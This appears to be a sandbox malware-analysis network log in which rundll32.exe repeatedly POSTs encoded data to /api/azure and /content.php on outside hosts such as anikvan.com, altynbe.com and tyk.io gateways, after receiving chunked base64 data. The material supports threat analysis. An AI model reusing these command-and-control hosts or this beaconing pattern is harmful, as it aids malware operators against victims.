67 37 6e 6e 34 36 73 4d 61 6a 54 57 31 72 34 4b 36 62 73 Data Ascii: 26cP6WHg8udIMLxnwHIduV6sHRR7wrB13uTAf+RcsoARKAYe2NALqGVTF2cgAetlmMuv0uRGGRD9hU1FMYSRJ+g39h4An9hqUUoWA2i6FcrMUqhEA30YG/YbQ7tQh/5lMYvEKFonf0JXJ/9XMiKorHf28M8l6UpvTdaq1hJWu2q7/NY7/pkh438SGn6qx2cnbvD2CrQau5z5i3Xn8OcHAHynV9gz4Z1teUdEXY1s72g7nn46sMajTW1r4K6bs
2024-05-10 22:04:15 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 6c 44 4f 46 69 44 6c 79 45 66 71 63 74 68 66 63 46 52 33 34 4e 6a 76 72 75 5a 33 4d 66 44 71 31 4d 5a 66 53 4a 4d 32 55 70 7a 63 4d 30 67 55 69 52 50 46 47 6f 62 45 66 44 57 74 33 78 6b 2b 67 37 34 75 53 45 5a 66 6f 57 69 2f 50 34 6a 6f 70 6a 74 68 2f 43 2b 78 57 78 70 5a 69 55 32 4a 4a 66 4f 62 56 38 69 4d 70 36 2f 58 69 76 77 4e 33 71 63 72 38 46 72 53 43 6f 55 4d 75 67 4f 66 45 41 49 41 77 75 30 6f 61 54 49 62 34 35 42 50 63 4a 2f 48 6a 47 68 65 70 6e 6a 62 72 6e 57 70 55 37 7a 67 45 44 49 50 6f 55 53 31 4e 41 67 37 68 74 2b 64 66 61 42 66 6d 4c 75 62 36 50 79 4f 74 49 7a 66 66 31 49 75 57 30 66 64 34 43 34 57 71 70 57 73 4a 70 4f 64 52 49 44 38 4d 49 5a 52 35 6f 71 4e 54 39 79 51 6f 4b 30 41 6a 31 58 6e 64 74 76 55 71 33 32 5a 75 35 Data Ascii: 1000lDOFiDlyEfqcthfcFR34NjvruZ3MfDq1MZfSJM2UpzcM0gUiRPFGobEfDWt3xk+g74uSEZfoWi/P4jopjth/C+xWxpZiU2JJfObV8iMp6/XivwN3qcr8FrSCoUMugOfEAIAwu0oaTIb45BPcJ/HjGhepnjbrnWpU7zgEDIPoUS1NAg7ht+dfaBfmLub6PyOtIzff1IuW0fd4C4WqpWsJpOdRID8MIZR5oqNT9yQoK0Aj1XndtvUq32Zu5
2024-05-10 22:04:15 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 6e 2f 33 78 76 4e 4e 67 4f 55 4d 6f 6f 61 4d 6b 4d 50 37 2f 43 66 49 53 65 33 6f 69 56 69 64 67 55 2b 31 70 4b 68 38 2b 71 4f 74 4d 69 45 32 45 66 34 68 69 4b 4d 4e 79 62 30 47 37 65 61 70 50 77 59 71 69 36 2b 2f 30 6d 6c 77 53 4c 6b 2b 44 56 72 43 34 6b 72 74 33 47 50 47 54 49 30 44 4c 2f 4f 31 76 70 6d 4e 44 2b 56 54 68 6b 53 52 4a 4a 75 65 43 4d 38 59 62 49 57 6d 69 34 4d 62 53 4e 76 41 55 4f 46 61 70 4f 6f 48 4b 6f 62 71 62 58 4a 43 65 50 32 38 77 41 53 59 44 48 47 76 4a 56 63 4e 73 4b 46 4c 62 48 4e 6a 70 6e 77 59 35 7a 64 61 4d 68 63 45 69 77 51 51 45 4e 5a 42 35 56 31 53 54 6f 77 52 69 44 6c 44 4e 71 57 66 69 68 35 6b 41 66 51 61 67 68 4a 6f 5a 66 4d 59 39 2b 55 36 31 70 4b 59 57 30 2f 38 6c 31 39 4b 66 41 69 48 64 30 6c 64 52 78 Data Ascii: 1000n/3xvNNgOUMooaMkMP7/CfISe3oiVidgU+1pKh8+qOtMiE2Ef4hiKMNyb0G7eapPwYqi6+/0mlwSLk+DVrC4krt3GPGTI0DL/O1vpmND+VThkSRJJueCM8YbIWmi4MbSNvAUOFapOoHKobqbXJCeP28wASYDHGvJVcNsKFLbHNjpnwY5zdaMhcEiwQQENZB5V1STowRiDlDNqWfih5kAfQaghJoZfMY9+U61pKYW0/8l19KfAiHd0ldRx
2024-05-10 22:04:15 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 73 52 71 64 74 62 73 69 62 78 78 6c 37 34 31 64 46 52 71 33 41 46 69 47 35 45 4e 30 63 63 64 67 67 49 70 59 54 35 73 58 6d 69 73 34 41 39 6c 4d 47 79 55 66 41 4a 73 73 76 77 36 54 78 68 77 50 47 4a 63 47 49 47 41 66 36 74 5a 58 58 65 63 69 2f 4b 4d 6b 79 51 5a 7a 7a 50 4b 76 31 46 54 74 31 68 2b 50 49 66 4f 56 64 46 48 73 6a 34 6a 37 68 35 2f 53 51 35 42 69 37 46 4b 6f 37 72 6a 4a 58 4f 79 43 52 78 58 47 51 43 35 62 51 66 62 55 4f 75 6d 4c 65 6a 67 46 77 44 36 38 32 32 37 50 73 76 4a 31 45 71 53 61 61 67 68 4f 57 54 38 4e 58 61 53 45 46 78 4a 74 35 4b 54 50 63 44 73 47 59 6e 57 36 71 54 67 49 6c 2f 49 4b 68 69 41 76 6e 55 45 73 70 66 43 37 4f 2b 6b 71 44 57 39 34 50 58 66 33 6d 30 62 4d 79 65 2b 31 48 4e 6b 56 36 6a 4a 53 4c 67 6e 6a 49 Data Ascii: 1000sRqdtbsibxxl741dFRq3AFiG5EN0ccdggIpYT5sXmis4A9lMGyUfAJssvw6TxhwPGJcGIGAf6tZXXeci/KMkyQZzzPKv1FTt1h+PIfOVdFHsj4j7h5/SQ5Bi7FKo7rjJXOyCRxXGQC5bQfbUOumLejgFwD68227PsvJ1EqSaaghOWT8NXaSEFxJt5KTPcDsGYnW6qTgIl/IKhiAvnUEspfC7O+kqDW94PXf3m0bMye+1HNkV6jJSLgnjI
2024-05-10 22:04:15 UTC	688	IN	Data Raw: 32 61 39 0d 0a 67 75 36 6e 63 57 30 46 72 6c 48 61 65 62 37 7a 6e 38 74 63 67 75 33 52 75 53 50 33 51 51 39 4b 38 6c 43 33 6b 59 44 48 4d 4d 33 62 39 61 39 79 48 69 6f 4b 33 72 4f 36 54 73 56 38 6e 4e 53 77 6b 47 4e 38 2b 6e 61 35 72 77 34 6d 64 69 5a 37 35 32 4f 66 39 75 32 74 51 59 57 4f 5a 6c 62 55 48 79 76 67 70 7a 77 4a 61 4f 39 63 30 76 50 32 37 61 4a 41 71 74 62 37 6f 6d 4f 41 4d 55 35 71 30 37 52 57 75 4b 78 67 65 4a 57 38 49 47 67 7a 58 63 65 39 71 4a 43 34 79 4a 33 64 76 48 6d 45 47 6a 43 4e 74 33 57 32 53 30 67 6e 72 32 6a 43 47 6d 46 62 74 6b 67 33 48 62 49 7a 50 44 32 38 77 6a 34 4d 57 57 5a 47 71 4d 35 35 4e 47 37 5a 36 32 57 70 6b 6b 2b 77 38 43 75 37 6c 4a 4c 71 36 73 45 54 48 71 44 45 33 47 42 65 69 48 75 54 76 4e 51 6e 50 64 44 31 45 6b Data Ascii: 2a9gu6ncW0FrlHaeb7zn8tcgu3RuSP3QQ9K8lC3kYDHMM3b9a9yHioK3rO6TsV8nNSwkGN8+na5rw4mdiZ752Of9u2tQYWOZlbUHyvgpzwJaO9c0vP27aJAqtb7omOAMU5q07RWuKxgeJW8IGgzXce9qJC4yJ3dvHmEGjCNt3W2S0gnr2jCGmFbtkg3HbIzPD28wj4MWWZGqM55NG7Z62Wpkk+w8Cu7lJLq6sETHqDE3GBeiHuTvNQnPdD1Ek
2024-05-10 22:04:15 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 4d 41 6d 75 32 41 36 37 71 70 37 4e 76 74 75 30 71 2b 51 38 58 42 32 66 6e 6a 74 6f 74 49 2f 5a 69 7a 45 51 33 30 63 68 50 30 54 4d 69 6f 71 6e 76 32 35 64 78 4b 53 37 55 6a 71 6e 37 57 34 39 78 74 79 46 30 50 2b 51 37 6e 6e 6c 75 71 6b 38 50 5a 32 62 44 66 6c 79 5a 38 53 43 2b 38 73 4c 6e 37 2f 61 63 61 73 58 58 64 64 6f 64 4c 63 6c 2b 68 79 70 64 43 72 72 53 70 53 62 7a 58 59 44 4c 65 2f 67 64 74 42 6c 4f 45 73 2b 45 7a 49 65 6d 73 62 64 4b 66 33 38 79 4a 6b 34 6b 52 42 77 30 54 56 62 4e 43 64 78 38 54 38 69 69 53 32 69 74 4e 45 50 6a 74 63 78 69 70 49 72 38 4d 72 73 31 4e 47 55 45 2f 4d 52 6f 46 73 4b 63 51 6c 71 6d 56 42 7a 66 70 61 4b 7a 38 49 52 6d 57 6f 78 5a 6f 2f 2f 56 77 48 61 79 4d 43 70 52 71 53 77 75 53 35 67 48 41 49 67 78 Data Ascii: 1000MAmu2A67qp7Nvtu0q+Q8XB2fnjtotI/ZizEQ30chP0TMioqnv25dxKS7Ujqn7W49xtyF0P+Q7nnluqk8PZ2bDflyZ8SC+8sLn7/acasXXddodLcl+hypdCrrSpSbzXYDLe/gdtBlOEs+EzIemsbdKf38yJk4kRBw0TVbNCdx8T8iiS2itNEPjtcxipIr8Mrs1NGUE/MRoFsKcQlqmVBzfpaKz8IRmWoxZo//VwHayMCpRqSwuS5gHAIgx
2024-05-10 22:04:15 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 4d 4a 46 69 39 4a 4b 52 6b 67 74 55 2b 47 58 6f 69 37 34 6b 5a 47 6b 72 32 5a 54 4a 4e 2b 31 79 53 71 7a 38 4b 44 76 72 63 53 32 69 30 58 4f 49 71 69 33 74 36 45 62 61 2b 4d 32 49 51 36 69 47 57 68 4e 6d 39 4f 77 37 67 49 6e 69 67 2f 46 5a 4d 7a 57 56 43 74 45 41 45 37 6d 73 2f 73 67 53 6b 74 6d 46 50 6c 31 6b 42 31 4d 33 55 6e 73 35 4f 49 73 55 50 5a 73 79 63 6e 4e 73 48 7a 4b 70 4a 76 44 2f 74 4a 54 70 35 61 66 6b 61 6e 49 56 46 5a 4f 62 44 55 56 59 4a 48 46 65 72 36 34 58 5a 78 54 71 45 47 46 34 62 66 33 47 66 38 52 6e 53 51 59 6a 43 70 68 79 74 43 50 4f 58 78 4f 37 39 77 4a 73 57 41 7a 67 6c 79 6c 6e 6c 79 48 4d 4d 62 42 6b 38 66 38 5a 6e 45 59 7a 62 36 51 30 4f 47 75 75 79 4c 5a 4a 43 7a 46 59 6f 38 61 5a 47 75 46 30 32 51 78 53 4b Data Ascii: 1000MJFi9JKRkgtU+GXoi74kZGkr2ZTJN+1ySqz8KDvrcS2i0XOIqi3t6Eba+M2IQ6iGWhNm9Ow7gInig/FZMzWVCtEAE7ms/sgSktmFPl1kB1M3Uns5OIsUPZsycnNsHzKpJvD/tJTp5afkanIVFZObDUVYJHFer64XZxTqEGF4bf3Gf8RnSQYjCphytCPOXxO79wJsWAzglylnlyHMMbBk8f8ZnEYzb6Q0OGuuyLZJCzFYo8aZGuF02QxSK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49753	54.175.181.104	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:04:19 UTC	284	OUT	POST /api/azure HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io Content-Length: 656 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:04:19 UTC	656	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 30 35 63 39 62 38 32 63 39 61 62 32 30 61 35 34 33 38 33 31 35 39 66 31 62 61 65 66 31 35 30 61 32 65 35 63 61 30 38 34 63 61 61 65 65 37 62 62 66 39 66 35 35 35 64 61 66 64 30 30 30 36 33 30 38 32 38 32 65 39 31 34 32 34 30 38 34 33 65 39 37 64 30 30 63 31 32 31 64 66 32 34 63 36 33 30 38 65 35 35 34 63 31 32 32 65 65 37 62 66 34 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203905c9b82c9ab20a54383159f1baef150a2e5ca084caaee7bbf9f555dafd0006308282e914240843e97d00c121df24c6308e554c122ee7bf4
2024-05-10 22:04:19 UTC	253	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 22:04:19 GMT Content-Type: text/html Content-Length: 0 Connection: close X-Ratelimit-Limit: 0 X-Ratelimit-Remaining: 0 X-Ratelimit-Reset: 0 Strict-Transport-Security: max-age=15724800; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49754	95.164.68.73	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:04:20 UTC	245	OUT	POST /api/azure HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: anikvan.com Content-Length: 444 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:04:20 UTC	444	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 31 39 65 66 62 38 36 37 39 61 62 33 30 61 35 34 33 39 32 31 35 39 66 31 62 61 65 66 31 31 30 61 32 61 34 63 61 30 66 63 63 61 61 63 63 31 62 62 66 64 64 33 35 36 63 37 66 64 30 32 37 61 34 63 66 62 62 34 66 61 36 34 35 37 30 65 33 32 66 39 35 65 32 39 63 32 31 30 64 35 32 32 62 36 33 34 39 35 36 62 34 63 33 34 35 63 65 31 39 30 35 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203919efb8679ab30a54392159f1baef110a2a4ca0fccaacc1bbfdd356c7fd027a4cfbb4fa64570e32f95e29c210d522b634956b4c345ce1905
2024-05-10 22:04:20 UTC	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 10 May 2024 22:04:20 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49755	95.164.68.73	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:04:26 UTC	247	OUT	POST /content.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: anikvan.com Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:04:26 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:04:26 UTC	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 10 May 2024 22:04:26 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49756	54.175.181.104	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:04:29 UTC	286	OUT	POST /content.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:04:29 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:04:29 UTC	206	IN	HTTP/1.1 404 Not Found Date: Fri, 10 May 2024 22:04:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9 Connection: close Strict-Transport-Security: max-age=15724800; includeSubDomains
2024-05-10 22:04:29 UTC	9	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49757	138.124.183.215	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:04:31 UTC	245	OUT	POST /api/azure HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: altynbe.com Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:04:31 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:04:32 UTC	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 10 May 2024 22:04:32 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49758	3.69.236.35	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:04:35 UTC	279	OUT	POST /api/azure HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:04:35 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:04:36 UTC	253	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 22:04:36 GMT Content-Type: text/html Content-Length: 0 Connection: close X-Ratelimit-Limit: 0 X-Ratelimit-Remaining: 0 X-Ratelimit-Reset: 0 Strict-Transport-Security: max-age=15724800; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49759	95.164.68.73	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:04:42 UTC	247	OUT	POST /content.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: anikvan.com Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:04:42 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:04:42 UTC	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 10 May 2024 22:04:42 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49760	3.69.236.35	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:04:47 UTC	279	OUT	POST /api/azure HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:04:47 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:04:48 UTC	253	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 22:04:48 GMT Content-Type: text/html Content-Length: 0 Connection: close X-Ratelimit-Limit: 0 X-Ratelimit-Remaining: 0 X-Ratelimit-Reset: 0 Strict-Transport-Security: max-age=15724800; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49761	3.69.236.35	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:04:50 UTC	279	OUT	POST /api/azure HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:04:50 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:04:50 UTC	253	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 22:04:50 GMT Content-Type: text/html Content-Length: 0 Connection: close X-Ratelimit-Limit: 0 X-Ratelimit-Remaining: 0 X-Ratelimit-Reset: 0 Strict-Transport-Security: max-age=15724800; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49762	54.175.181.104	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:04:54 UTC	286	OUT	POST /content.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
2024-05-10 22:04:54 UTC	154	OUT	Data Raw: 33 39 33 62 30 33 64 66 65 30 37 37 32 64 31 64 35 63 62 64 64 31 38 33 63 39 37 66 37 63 65 36 64 32 61 37 38 62 33 39 66 39 31 64 34 31 30 61 61 34 38 31 36 32 62 39 65 34 61 32 30 65 66 63 65 31 34 65 65 38 30 63 34 66 39 30 30 34 31 64 31 36 36 30 66 62 31 34 62 38 65 37 33 35 62 63 32 35 33 65 37 32 64 31 34 64 32 63 64 33 34 34 34 35 66 36 62 35 39 38 30 65 39 66 35 39 32 64 35 34 31 35 66 63 63 36 34 37 64 64 32 30 33 39 37 36 65 35 38 34 31 33 64 31 Data Ascii: 393b03dfe0772d1d5cbdd183c97f7ce6d2a78b39f91d410aa48162b9e4a20efce14ee80c4f90041d1660fb14b8e735bc253e72d14d2cd34445f6b5980e9f592d5415fcc647dd203976e58413d1
2024-05-10 22:04:54 UTC	206	IN	HTTP/1.1 404 Not Found Date: Fri, 10 May 2024 22:04:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9 Connection: close Strict-Transport-Security: max-age=15724800; includeSubDomains
2024-05-10 22:04:54 UTC	9	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49764	95.164.68.73	443	7320	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 22:05:00 UTC	247	OUT	POST /content.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Host: anikvan.com Content-Length: 154 Connection: Keep-Alive Cache-Control: no-cache
